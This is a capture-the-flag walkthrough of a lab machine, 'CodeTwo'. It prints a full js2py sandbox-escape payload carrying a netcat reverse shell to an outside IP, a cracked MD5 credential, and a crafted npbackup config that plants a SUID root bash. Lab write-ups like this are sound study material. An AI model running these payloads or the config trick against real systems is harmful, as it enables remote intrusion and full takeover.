CodeTwo
Recon
Port Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo nmap -PN -sC -sV -oN codetwo 10.129.186.144
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 12:42 PKT
Nmap scan report for 10.129.186.144
Host is up (0.51s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| 256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_ 256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open http Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.34 seconds
Let’s interact with the exposed port 8000.
We will register and login. I tried multiple methods of enumerating and exposing globals. However, our methods failed. Since we don’t understand what the backend is it’s not easy to understand the exploit chain either.
app.py
I then moved on to see what their “downloaded app” would contain. Surely enough that was our clue to getting to our exploit:
1
2
3
4
5
6
7
cat app.py
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json
What I noticed was the library js2py.
js2py vulnerability
It allows for RCE and escaping the sandbox:
POChttps://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py
We will modify just the command:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
let cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.40 1234 >/tmp/f;"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
and run it on the sandbox for a reverse shell.
Foothold
Shell as app
1
2
3
4
5
6
nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.40] from (UNKNOWN) [10.129.186.144] 58750
sh: 0: can't access tty; job control turned off
$ whoami
app
We will do all the TTY upgrades. We already understand the app structure, we will enumerate the sqlite database first.
Enumerating Database
1
2
3
4
sqlite> SELECT * FROM user
...> ;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
This is an md5 hash and we have creds:
marco:sweetangelbabylove
We have the user flag down.
Privilege Escalation
We will try and see if there are any obvious privilege escalation path with sudo -l:
1
2
3
4
5
6
Matching Defaults entries for marco on codetwo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codetwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli
Sure enough, let’s see if npbackup-cli has any known LPE vulnerabilities associated with it. Also, let’s enumerate what the script does and how the script works.
Understanding the script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
marco@codetwo:~$ cat /usr/local/bin/npbackup-cli
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
# Block restricted flag
if '--external-backend-binary' in sys.argv:
print("Error: '--external-backend-binary' flag is restricted for use.")
sys.exit(1)
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
This looks like a wrapper for npbackup. We aren’t allowed to run this bin with the flag --external-backend-binary as it allows for running any arbitrary binary.
We need to check what other flags this binary have:
1
2
3
4
5
6
7
8
9
10
11
12
npbackup-cli --help
<SNIP>
-c CONFIG_FILE, --config-file CONFIG_FILE
Path to
alternative
configurati
on file
(defaults
to current
dir/npbacku
p.conf)
<SNIP>
I couldn’t find the config file so I tried running the bianary in hopes that it might create a config itself:
1
2
3
4
marco@codetwo:/usr/local/bin$ sudo /usr/local/bin/npbackup-cli
2025-08-17 08:51:12,422 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-17 08:51:12,425 :: CRITICAL :: Cannot run without configuration file.
2025-08-17 08:51:12,431 :: INFO :: ExecTime = 0:00:00.011375, finished, state is: critical.
We have the config file in marco’s home directory (or you could also find it from their github):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
marco@codetwo:/usr/local/bin$ cat ~/npbackup.conf
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /home/app/app/
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:
__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
<SNIP>
Let’s craft a malicious config:
Crafting a malicious config file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
rootbash-5.0# cat test.conf
conf_version: 3.0.1
audience: public
repos:
default:
repo_uri: file:/tmp/npb-repo
repo_group: default_group
backup_opts:
paths:
- /etc
source_type: folder_list
repo_opts:
repo_password_command: /bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash && echo pwnd'
prometheus: {}
env: {}
is_protected: false
groups:
default_group:
backup_opts:
pre_exec_commands:
- /bin/bash -c 'echo "[+] pre_exec ran as root" >> /tmp/npb_poc.log'
post_exec_commands:
- /bin/bash -c 'echo "[+] post_exec ran as root" >> /tmp/npb_poc.log'
post_exec_execute_even_on_backup_error: true
repo_opts: {}
prometheus: {}
env: {}
is_protected: false
identity:
machine_id: test
machine_group: test
global_prometheus: {}
global_options: {}
What this config does is we define a repo (the file: part is invalid but we don’t care about it being successful either). The repo_password_command isn’t supposed to be empty so we copy bash and set SUID bits to access it as root once we run the npbackup-cli binary on it. This password command is guaranteed to run whenever we run our backup binary. The pre_exec_commands and post_exec_commands can also be leveraged for the same malicious purpose but we just log the status here.
Shell as root
1
2
3
4
sudo /usr/local/bin/npbackup-cli -c test.conf --backup -f
marco@codetwo:/tmp$ ./rootbash -p
rootbash-5.0# cat /root/root.txt
